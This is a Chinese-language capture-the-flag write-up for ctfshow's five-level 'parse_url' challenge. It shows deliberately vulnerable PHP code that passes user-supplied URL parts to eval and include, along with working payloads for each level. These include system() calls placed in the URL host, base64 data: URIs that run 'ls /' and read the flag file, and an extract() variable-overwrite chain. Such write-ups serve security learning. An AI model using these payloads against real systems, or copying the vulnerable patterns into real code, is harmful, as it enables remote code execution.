0%

ctfshow大挑战--parse_url

ctfshow大挑战–parse_url

第一关

1
2
3
4
5
<?php

$data = parse_url($_GET['u']);

eval($data['host']);

直接执行host

直接?u=http://system('ls');

是可以的,但是想要读取根目录是不行的,因为含有/

可以:?u=http://system(‘cd ..;cd ..;cd ..;ls’);

或者使用base64编码

img

img

第二关

1
2
3
4
5
<?php

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

包含host和path

可以这样

1
?u=data:data:;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4=

因为data协议是可以不用//的,所以也不会造成解析错误

第一个data是被解析为了schema

img

第三关

1
2
3
4
5
<?php

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

和第二关差不多

稍微修改一下即可

1
?u=data::;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4=

img

第四关

感觉和第一关差不多

1
?u=http://cd ..;cd ..;cd ..;ls;

同样,base64解码也可

img

第五关

1
2
3
4
<?php

extract(parse_url($_GET['u']));
include $$$$$$host;

变量覆盖,先看payload

1
?u=fragment://pass:query@user/path?scheme%23data:;base64,PD9waHAgc3lzdGVtKCd0YWMgL19mMWFnXzFzX2gzcmVlJyk7Pz4=

经过extract(parse_url($_GET[‘u’]));代码之后

可以得到以下结果(将u进行var_dump)

1
{ 'scheme' => string(8) "fragment" 'host' => string(4) "user" 'user' => string(4) "pass" 'pass' => string(5) "query" 'path' => string(5) "/path" 'query' => string(6) "scheme" 'fragment' => string(65) "data:;base64,PD9waHAgc3lzdGVtKCd0YWMgL19mMWFnXzFzX2gzcmVlJyk7Pz4=" }

从host变量开始,可以发现形成了一个闭环,最终也是包含了我们的伪协议